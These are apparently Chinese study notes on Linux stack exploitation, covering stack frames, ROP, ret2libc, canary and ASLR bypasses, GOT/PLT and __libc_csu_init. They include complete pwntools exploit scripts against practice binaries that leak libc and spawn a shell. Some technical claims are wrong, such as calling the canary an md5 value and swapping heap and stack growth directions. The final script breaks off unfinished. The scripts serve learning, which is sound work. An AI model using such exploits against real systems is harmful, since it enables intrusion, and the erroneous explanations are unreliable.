栈基础 内存四区
-
代码区(.text):这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指令执行。
-
数据区(.data):用于存储全局变量和静态变量等。
-
堆区:动态地分配和回收内存,进程可以在堆区动态地请求一定大小的内存,并在用完后归还给堆区。地址由高到低生长
-
栈区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行;此外局部变量 也存储在栈区。地址由低到高生长
BSS段:(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,属于静态内存分配。
栈的概念
- 一种数据结构,数据存储方式为先进后出,压栈(push)和出栈(pop)
- 每个程序都有自己的进程地址空间,进程地址空间中的某一部分就是该程序的栈,用于保存函数调用信息和局部变量
- 程序的栈是从进程空间的高地址向低地址增长的,数据是从低地址向高地址存放的
函数调用
- 函数调用经常嵌套,在同一时刻,堆栈中会有多个函数的信息。
栈帧
- 每个未完成运行的函数占用一个独立的连续区域,称作栈帧。
基本流程 ;调用前
push arg3 ;32位esp-4,64位esp-8
push arg2
push arg1
call func ;1. 压入当前指令的地址,即保存返回地址 2. jmp到调用函数的入口地址
push ebp ;保存旧栈帧的底部,在func执行完成后在pop ebp
mov ebp,esp ;设置新栈帧的底部
sub esp,xxx ;设置新栈帧的顶部
详细流程 int func_b(int b1,int b2)
{
int var_b1,var_b2;
var_b1 = b1+b2;
var_b2 = b1-b2;
return var_b1 * var_b2;
}
int func_a(int a1,int a2)
{
int var_a;
var_a = fuc_b(a1+a2);
return var_a;
}
int main(int argc,char** argv,char **envp)
{
int var_main;
var_main = func_A(4,3);
return 0;
}
参数传递
- 通过栈传参
- 先压入最后一个参数
- rdi rsi rdx rcx r8 r9 接收后六个参数
- 之后的参数通过栈传参
-
64位的利用方式
构造rop链 > > 1. ROPgadget --binary level3_x64 --only 'pop|ret' > > c > # Gadgets information > > 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006b0 : pop r14 ; pop r15 ; ret > 0x00000000004006b2 : pop r15 ; ret > 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret > 0x0000000000400550 : pop rbp ; ret > 0x00000000004006b3 : pop rdi ; ret > 0x00000000004006b1 : pop rsi ; pop r15 ; ret > 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret > 0x0000000000400499 : ret > > > 2. 依次找pop rdi,pop rsi..,pop r9 ,这些寄存器里面存放的是参数,可以通过pop覆盖其中的内容
栈溢出 栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身申请的字节数,因而导致栈中与之相邻的变量的值被改变。 栈溢出目的
- 破坏程序内存结构
- 执行system(/bin/sh)
- 执行shellcode
栈溢出思路 判断溢出点
常见的危险函数:
输入:gets scanf vscanf
输出:sprintf
字符串:strcpy strcat bcopy
判断padding
- 计算我们所要操作的地址和所要覆盖的地址的距离
- IDA静态分析中常见的三种索引方式
a. 相对于栈基地址的索引,通过查看EBP相对偏移获得 char name[32]; [esp+0h] [ebp-28h] ==> 0x28+0x4
b. 相对于栈顶指针的索引,需要加上ESP到EBP的偏移,然后转换为a方式
c. 直接地址索引,相当于直接给出了地址
覆写内容
覆盖函数返回地址
覆盖栈上某个变量的内容,如局部变量和参数
Ret2text
返回到某个代码段的地址,如.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" 要求我们控制程序执行程序本身已有的代码
Ret2shellocde
跳转到我们在栈中输入的代码,一般在没有开启NX保护的时候使用.
ret2shellcode的目标即在栈上写入布局好的shellcode,利用ret_address返回到shellcode处执行代码。
Ret2syscal
让程序返回到系统调用,调用syscall或execve执行某个程序,对于静态编译的程序,没有libc,只好通过execve执行shellcode了。
syscall --->rax syscall 0x3b ==>execve rax
--->rdi path ==> /bin/sh rdi
--->rsi argv / rsi
--->rdx env rdx
int execve(const char *filename, char *const argv[],char *const envp[]);
execve("/bin/sh",null.null) 等同于system("bin/sh")
syscall(32位程序为int80)会根据系统调用号查找syscall_table,execve对应的系统调用号是0x3b。
当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table[0x3b],即syscall_execve,然后通过execve启动程序。
找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'
静态编译的程序没有system等函数的链接支持,故一般利用ret2syscall构造栈溢出
Ret2libc
如找到system函数在动态链接库libc中的地址,将return的内容覆盖为该地址,跳转执行
leak出libc_addr + call system + 执行system('/bin/sh')
难点:libc动态加载,每次基址都会变化,如何泄露libc的地址?
思路:got ---> read_addr() --->libc
read_addr - libc_base = offsset (不变)
libc_base = read_addr - offset
bin/sh的来源 : 程序本身或libc或者写一个/bin/sh到bss段
binsh = libc.search("/bin/sh").next()
其它
判断是否是否为动态编译
⚡ ⚙ ~/stack/day_4 ldd ret2text
linux-gate.so.1 => (0xf7f36000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d60000) -->libc的版本,也可以vmmap查看
/lib/ld-linux.so.2 (0xf7f38000)
判断libc的版本
a. 本地直接通过vmmap查看
b. 远程的根据函数后几位的偏移得到
libc-database
link:https://github.com/lieanu/libc-database.git
usage: ./find func_name offset
exemplify: ./find gets 5a0
effection:
➜ libc-database git:(master) ./find gets 5a0
archive-eglibc (id libc6_2.17-93ubuntu4_i386)
c: 5a0怎么来的?
.got.plt:0804A010 off_804A010 dd offset gets
pwndbg> x/20gz 0x0804a010
0x804a010 : 0x08048476f7e643e0 0x08048496f7e64ca0
0x804a020 <[email protected]>: 0x080484b6080484a6 0xf7e65360f7e1d540
0x804a030 : 0x080484f6080484e6 0x0000000000000000
0x804a040 : 0x00000000f7fb75a0 0x0000000000000000
0x804a050: 0x0000000000000000 0x0000000000000000
0x804a060 : 0x00000000f7fb7d60 0x0000000000000000
0x804a070: 0x0000000000000000 0x0000000000000000
0x804a080: 0x0000000000000000 0x0000000000000000
0x804a090: 0x0000000000000000 0x0000000000000000
0x804a0a0: 0x0000000000000000 0x0000000000000000
64位程序和32位程序的区别
1. 传参方式
64位:rdi rsi rdx rcx r8 r9
32位:通过栈传参
2. syscall & int 80
栈空间布局 // 伪代码
A(int arg_a1,int arg_a2)
B(int arg_b1,int arg_b2,int arg_b3)
C()
-------------------------------------
// B的压栈流程
---> ESP //指向栈顶,随着压栈不断抬高
buf[128] //局部变量
EBP //保存旧栈帧的底部,4字节
return //这是B的返回地址,即C
arg_b1
arg_b2
arg_b3
-->EBP //指向当前栈帧的底部,随着压栈不断抬高,指向旧栈帧
栈溢出原理
- 当局部变量buf超过128字节,会向下覆盖EBP,return以及参数的内容。
- 构造return
- 将buf 的 132到136字节的空间输入shellcode的地址
- 会跳转执行shellcode
保护机制 NX
堆栈不可执行保护,bss段也不可执行,windows下为DEP,可通过gcc -z execstack关闭
开启NX后再把return的内容覆盖为一段shellcode,在开启NX的时候,不能执行。
实现A函数执行的方法,即构建ROP链
- return ---> fake_addr ---> A
- 将B的参数从arg_b2到arg_b3也覆盖成A的参数
// 伪代码
A(int arg_a1,int arg_a2)
B(int arg_b1,int arg_b2,int arg_b3)
C(int arg_c1,int arg_c2)
-------------------------------------
// B的压栈流程
---> ESP
buf[128]
EBP
return //把return的内容覆盖为A的地址
arg_b1 //程序在调用A函数的时候,把下一个栈数据当作A的返回地址,因此需要在再下一条语句的时候开始覆盖参数
arg_b2 arg_a2 //将B的参数用A的参数覆盖掉
arg_b3 arg_a1
-->EBP
借鉴上面的方法,在调用A之后,再调用C,构建ROP链
- 这时不能把系统认为的A的返回地址的arg_b1覆盖为C的返回地址,不然会向上覆盖arg_a2和arg_a2,导致A无法正常执行。
- 这时需要再找一个return语句,程序里面通常含有pop-pop-ret的链
- ROPgadget --binary --only 'pop|ret' : 自动寻找rop链
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret //选择这个地址,代码段无NX
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
- 将arg_b1覆盖为addr_pop_pop_ret的地址:4006b0
- 此时将将arg_a1 pop到r14,arg_a2 pop到r15,然后ret
- 将ret的内容覆盖为C的入口地址,即可!
- 程序执行如下代码:
// 伪代码
A(int arg_a1,int arg_a2)
B(int arg_b1,int arg_b2,int arg_b3)
C(int arg_c1,int arg_c2)
-------------------------------------
// B的压栈流程
---> ESP
buf[128]
EBP
return //-->fake_addr_A
arg_b1 //-->4006b0 addr_pop_pop_ret
arg_b2 arg_a1 //pop r14
arg_b3 arg_a2 //pop r15
ret // --->fake_addr_C
0 // --->C的返回地址,现在没用了
arg_c1
arg_c2
-->EBP
- 使用buf将栈空间覆盖
- 在B退出的时候ret到A
- 依次取覆盖之后的A的两个参数,执行A函数
- 返回到pop_pop_ret的地址
- 将ret的地址覆盖为C的地址
- 将C的返回地址置空
- 写入C的参数
- 执行C函数
A函数的功能通常时"/bin/sh"
C函数的功能为system
上述流程执行完则可以达到反弹shell的目的
由于程序不在栈上执行而是在代码段中执行,所有可以绕过NX保护机制。
Canary(金丝雀)
开启canary后,会在程序的EBP与ESP之间的位置随机插入一段md5值,占4字节或8字节。
canary为一段以 /0 结尾的一串md5值,如123456/0,起截断作用,防止打印。
在程序return之前与内核地址[fs:0x28]异或校验md5值
异或结果为1时报错退出,为0时正常ret。
几种思路
- 如果能在栈中拿到md5值,在指定位置可以精准覆盖之。
- 将从内核中取的md5值,设置为自己定义的值,覆盖的时候覆盖自己定义的值。
参数:-fstack-protector :启用保护,不过只为局部变量中含有数组的插入保护
参数:-fstack-protector-all :为所有函数插入保护
参数:-fstack-protector-strong -fstack-protector-explicit :只对明确有stack-protect 属性的函数启用保护
参数:-fo-stack-protector :禁用保护
- 覆盖canary的最后一个字节
> 利用栈溢出将"\0"覆盖掉,则可以将canary打印出来。
- smash
- leak stackguard -- top
⚡ > ~/stack/day_1> checksec leak_canary
[*] '/root/stack/day_1/leak_canary'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
PIE
让程序能装载在随机的地址,主要是代码段的地址随机化,改变的是高位的基地址。
gdb中使用show proc info 可以显示代码段的基地址
--enabled-default-pie开启 -no-pie关闭
ALSR
每次加载程序,使其地址空间分布随机化,即使可执行文件开启PIE保护,还需要系统开启ASLR才会真正打乱基址。主要是堆栈和libc的地址随机化。
修改/proc/sys/kernel/randommize_va_space来控制ASLR的开关。
栈溢出进阶 # Pwntools环境预设
from pwn import *
context.arch = "amd64/i386" #指定系统架构
context.terminal = ["tmux,"splitw","-h"] #指定分屏终端
context.os = "linux" #context用于预设环境
# 库信息
elf = ELF('./PWNME') # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
libc = ELF('lib/i386-linux-gnu/libc-2.23.so') # 载入libc的库,可以通过vmmap查看
/*
首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如
>>> e = ELF('/bin/cat')
>>> print hex(e.address) # 文件装载的基地址
>>> print hex(e.symbols['write']) # plt中write函数地址
>>> print hex(e.got['write']) # GOT表中write符号的地址
>>> print hex(e.plt['write']) # PLT表中write符号的地址
*/
# Pwntools通信
p = process('./pwnme') # 本地 process与程序交互
r = remote('exploitme.example.com',3333) # 远程
# 交互
recv() # 接收数据,一直接收
recv(numb=4096,timeout=default) # 指定接收字节数与超时时间
recvuntil("111") # 接收到111结束,可以裁剪,如.[1:4]
recbline() # 接收到换行结束
recvline(n) # 接收到n个换行结束
recvall() # 接收到EOF
recvrepeat(timeout=default) #接收到EOF或timeout
send(data) # 发送数据
sendline(data) # 发送一行数据,在末尾会加\n
sendlineafter(delims,data) # 在程序接收到delims再发送data
r.send(asm(shellcraft.sh())) # 信息通信交互
r.interactive() # send payload后接收当前的shell
# 字符串与地址的转换
p64(),p32() #将字符串转化为ascii字节流
u64(),u32() #将ascii的字节流解包为字符串地址
got & plt 在IDA中选择view-open subview - segment 可以直接查看到got和plt段 .plt:08048440 ; __unwind {
.plt:08048440 push ds:dword_804A004
.plt:08048446 jmp ds:dword_804A008 ;804A008是got表的地址
.plt:08048446 sub_8048440 endp
plt段的某个地址存放着指令 jmp got
.got.plt:0804A00C off_804A00C dd offset printf ; DATA XREF: _printf↑r
.got.plt:0804A010 off_804A010 dd offset gets ; DATA XREF: _gets↑r
.got.plt:0804A014 off_804A014 dd offset time ; DATA XREF: _time↑r
.got.plt:0804A018 off_804A018 dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A01C off_804A01C dd offset system ; DATA XREF: _system↑r
.got.plt:0804A020 off_804A020 dd offset __gmon_start__
.got.plt:0804A020 ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A024 off_804A024 dd offset srand ; DATA XREF: _srand↑r
.got.plt:0804A028 off_804A028 dd offset __libc_start_main
.got.plt:0804A028 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A02C off_804A02C dd offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0804A030 off_804A030 dd offset rand ; DATA XREF: _rand↑r
.got.plt:0804A034 off_804A034 dd offset __isoc99_scanf
got段中存放着程序中函数的地址,可以避免每次调用某个函数的时候去libc库中寻找。
- 找到plt表.plt表存放指令
- 跳转到got表,got表存放地址,不能填在return的位置
- 找到对应的func_addr
- 没有的时候跳转到libc中取出函数,并缓存到got表
plt["write"](1,got("write"),4)
通过plt的write函数leak出got的地址
libc_csu_init
- 在所有的64位程序中都含有libc_csu_init函数
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13 // 4. 利用点,将r13给到了rdx
.text:0000000000400693 mov rsi, r14 // 5. 控制rsi
.text:0000000000400696 mov edi, r15d // 6. 控制rdi的低四位
.text:0000000000400699 call qword ptr [r12+rbx*8] //7. 给rbx赋0,相当于call [r12]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx //1. 控制函数从这里执行
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12 //8. 给r12添一个main_addr
.text:00000000004006AE pop r13 //2. 通过栈控制r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn //3. ret到 mov rdx, r13
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//实现通过栈控制rdx
- 程序在启动main函数之前,都由glibc的标准c库启动,即由libc_csu_init启动main函数
- libc_csu_init可以获得一个有4个参数调用的地方,比如系统调用函数syscall
如syscall--->rax syacall 0x3b ==>execve
--->rdi path "/bin/sh"
--->rsi argv
--->rdx env
- 通过syscall调用execve,执行execve("/bin/sh",null,null),等价于system("/bin/sh")
- syscall(32位程序为int80)会根据系统调用号查找syscall_table,execve对应的系统调用号是0x3b。
当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table[0x3b],即syscall_execve,然后通过execve启动程序。
- 找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'
ret2_dl_runtime_resolve
解决32位无输出函数的情况,64位使用IOfile的方式。
- 找对应的plt中的地址
- 跳转到对应的got表中,got中如果有,则执行对应函数
- 如果跳转到的got对应位置没有值,got会向后累加一个地址,然后跳转到plt[0],压入两个参数,一个是index,一个是与DYNAMIC有关的参数,称为link_map(动态链接用到的名字,如puts),然后再调用dl_runtime_resolve(link_map_obj,reloc_index)
push cs:qword_602008
.plt:00000000004007A6 jmp cs:qword_602010
- dl_runtime_resolve实际上是一个解析实际地址的函数,根据函数名称做解析,然后写回到plt的index对应的got
- 调用完之后,会根据参数调用解析出来的地址,比如解析出来的puts函数,那么会调用puts函数,并且写入puts_got中
- 结束后,接着运行程序
因此,我们向DYNAMIC中写入puts字符串就可以了
栈劫持 整形溢出 [实验](#程序七 : 整型溢出) 调试 程序一 :rop链 & _libc_csu_init ROP
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function(*(_QWORD *)&argc, argv, envp);
return write(1, "Hello, World!\n", 0xEuLL);
}
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h] 说明buf到rbp有0x80字节。即buf[0x80]
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL); //从标准控制台向buf读入0x200
}
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]
if len(sys.argv) < 2:
debug=True
else:
debug=False
if debug:
p = process("./level3_x64")
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p = remote("x.x.x.x",xxxx)
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debugf():
gdb.attach(p,"b *0x400602")
#debugf()
padding = 0x80 * "a"
padding_rbp = "junkjunk"
write_plt = elf.plt["write"]
write_got = elf.got["write"]
# target : write(1,write_got,8)
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A
payload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)
p.sendafter("Input:\n",payload)
addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = addr - libc.symbols["write"]
binsh = libc.search("/bin/sh").next()
system = libc.symbols["system"]
payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter("Input:\n",payload)
p.interactive()
- 泄露system在libc中的地址
通过write函数泄露system的地址
先通过plt中的wrtite jump到got中的write函数的地址,然后通过offset计算libc的基址,然后泄露system的地址
可以将第一个return的内容覆盖为plt["write"]的地址
即write(1,write_got,8) 调用write_got,打印8个字节到屏幕上
- 寻找rop链 rdi_pop_rsi_pop_rdx_ret,保存write函数的参数与返回地址
64位程序的参数压栈顺序rdi,rsi,rdx,rcx,r8,r9
➜ level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
- 由于在rop链中没有发现rdx,暂时不去使用rdx,因为rdx中本来就可能含有大于8的数,因此对我们而言传参与否意义不大,只是成功率的问题,直接返回到main_addr即可
.text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040061A public main
.text:000000000040061A main proc near ; DATA XREF: _start+1D↑o
libc_csu_init
a. 调用libc_csu_init
b. libc_csu_init有rdx
c. 在libc_csu_init循环构造payload
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13 // 4. 将r13给到了rdx
.text:0000000000400693 mov rsi, r14 // 5. 控制rsi
.text:0000000000400696 mov edi, r15d // 6. 控制rdi的低四位,注意这里不能存放下6字节的/bin/sh
.text:0000000000400699 call qword ptr [r12+rbx*8] ;7. 给rbx赋0,相当于call [r12],
; 将system的地址写入其中bss中,将bss_addr写入其中
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp //9. 使rbp=1,跳过jnz
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx //1. 控制函数从这里执行
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12 //8. 给r12添一个main_addr
.text:00000000004006AE pop r13 //2. 通过栈控制r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn //3. ret到main_addr
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//实现通过栈控制rdx
.bss:0000000000600A89 db ? ; 向其中写入system的地址,call [r12] ,将r12改为0x600A89
.bss:0000000000600A8A db ? ;
.bss:0000000000600A8B db ? ;
- call qword ptr [r12+rbx*8] ;寄存器间接寻址,需要把system的地址写入bss
- mov edi, r15d ;只能存放4个字节,存放不了/bin/sh
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]
if len(sys.argv) < 2:
debug=True
else:
debug=False
if debug:
p = process("./level3_x64")
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p = remote("x.x.x.x",xxxx)
elf = ELF("./level3_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def lib_csu_init(ret_address,call,p1,p2,p3):
pop_ret7 = 0x4006AA
libc_csu_init_addr = 0x400690
payload = 0x80*'a' + p64(0) # padding_ebp
payload+= p64(pop_ret7)
payload+= p64(0) + p64(1) + p64(call) #rbx rbp r12
payload+= p64(p3) + p64(p2) + p64(p1) #r13 r14 r15
payload+= p64(libc_csu_init_addr) #ret
payload+= p64(0)*7 #clear rsp rbx rbp r12 r13 r14 r15
payload+= p64(ret_address)
p.sendafter("Input:\n",payload)
def debugf():
gdb.attach(p,"b *0x400602")
#debugf()
write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_got = elf.got["read"]
main_addr = 0x40061A
bss_addr = 0x600A89
lib_csu_init(main_addr,write_got,1,write_got,0x8)
write_addr = u64(p.recv(8))
log.success("write_addr:" + hex(write_addr))
libc.address = write_addr - libc.symbols["write"]
log.success("libc.address:" + hex(libc.address))
lib_csu_init(main_addr,read_got,0,bss_addr,16) # 16 is the param of read
# read system to bss_addr and write "/bin/sh to bss_addr+8"
#binsh = libc.search("/bin/sh").next() not need anymore
system = libc.symbols["system"]
p.send(p64(system)+"/bin/sh\x00")
#lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store
lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0)
p.interactive()
- 设置断点到* 0x4006AA
- 第一次循环结束后
- 返回到main
- 打印libc的地址
- 查看bss_addr的内容
程序二 :canary
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Hello Hacker!");
vuln();
return 0;
}
unsigned int vuln()
{
signed int i; // [esp+4h] [ebp-74h]
char buf; // [esp+8h] [ebp-70h]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); //从fs:28h读取canary到栈
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200u); //溢出点
printf(&buf); //如果没有printf,可以通过_dl_runtime_resolv泄露canary
}
return __readgsdword(0x14u) ^ v3; //异或栈中的canary与内核中的md5
}
- 在ebp - 0x0c的地址覆盖为canary值
- 泄露canary的值
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC # 到达canary的偏移地址
payload = (offset)*"a" + "b" # 覆盖掉canary的最后的"\0"字节,这时就可以打印出canary了
p.send(payload)
p.recvuntil("ab") #在canary之前截断,在没有printf,可以通过_dl_runtime_resolv泄露canary
canary = u32(p.recv(3).rjust(4,"\x00")) #接收三字节的canary,并用0将第四个字节补齐
log.success("canary:"+hex(canary))
payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell) # 最终payload
p.send(payload2)
p.interactive()
程序三 :canary(不需绕过)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5); //v5是序号,无大小限制,造成漏洞点
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
- v5无大小限制,形成漏洞点
- 可以看到
char v13[100]; // [esp+38h] [ebp-70h] ,当v5 = 28的时候,28*4=102=0x70,第29个字节就是EBP,第30个字节就是ret。
- 控制输入v7的内容和长度,实现ret的精准覆盖。
- 因此这道题不需要绕过canary。
程序四 :ret2text
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h] padding=0x64+0x8
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s); //溢出点
printf("Maybe I will tell you next time !");
return 0;
}
void secure() //函数模板库,CTRL+E查看
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h]
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf((const char *)&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh"); //wonderful,理想的返回地址
}
- 找到溢出点:gets(&s)
- 判断填充长度 : s到ebp的大小加4字节ebp,即 0x64 - 0x1c + 0x4
- 判断ebp和esp寻址的小技巧:在IDA的变量s处双击,能进入到反汇编窗口即esp寻址
-
gdb调试
- checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
// 可以看到没有开启ALSR和PIE,这时我们下断点的时候不用考虑地址随机化
- 设置断点到s
.text:080486AB mov [esp], eax ; s > > 在IDA中静态查看s的地址,取其偏移地址080486AB > > 在gdb中 b *0x080486AB 即可
- 计算填充长度
EAX 0xffffce8c —▸ 0x8048329 ◂— 0x696c5f5f /* '__libc_start_main' */
EBX 0x0
ECX 0xffffffff
EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0xffffcef8 ◂— 0x0
ESP 0xffffce70 —▸ 0x804876c ◂— 0x72656854 /* 'There is something amazing here, do you know anything?'
/*
EDX接收s
填充长度为EBP-EAX = 0x6c
*/
- 覆写返回地址到
system("/bin/sh");
a. 使用IDA查看bin/sh的地址 > > assembly > .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" > .text:08048641 call _system > >
-
攻击脚本
from pwn import *
context.log_level = "debug" # context预设环境
context.arch = "i386"
context.terminal = ["tmux","splitw","-h"] # tmux 垂直分屏
if len(sys.argv) < 2:
debug = True
else:
debug = False
if debug:
p = process("./ret2text") # process表示当前程序的发送和接收(交互)
elf = ELF("./ret2text") # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') # 载入libc的库,可以通过vmmap查看
else:
p = remote("x.x.x.x",1088)
elf = ELF("./ret2text")
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
gdb.attach(p,"b *0x80486AB")
debugf()
padding = (0x64+8)*a
ebp_padding = "aaaa"
system_addr = 0x0804863A
payload = padding + ebp_padding + p32(system_addr)
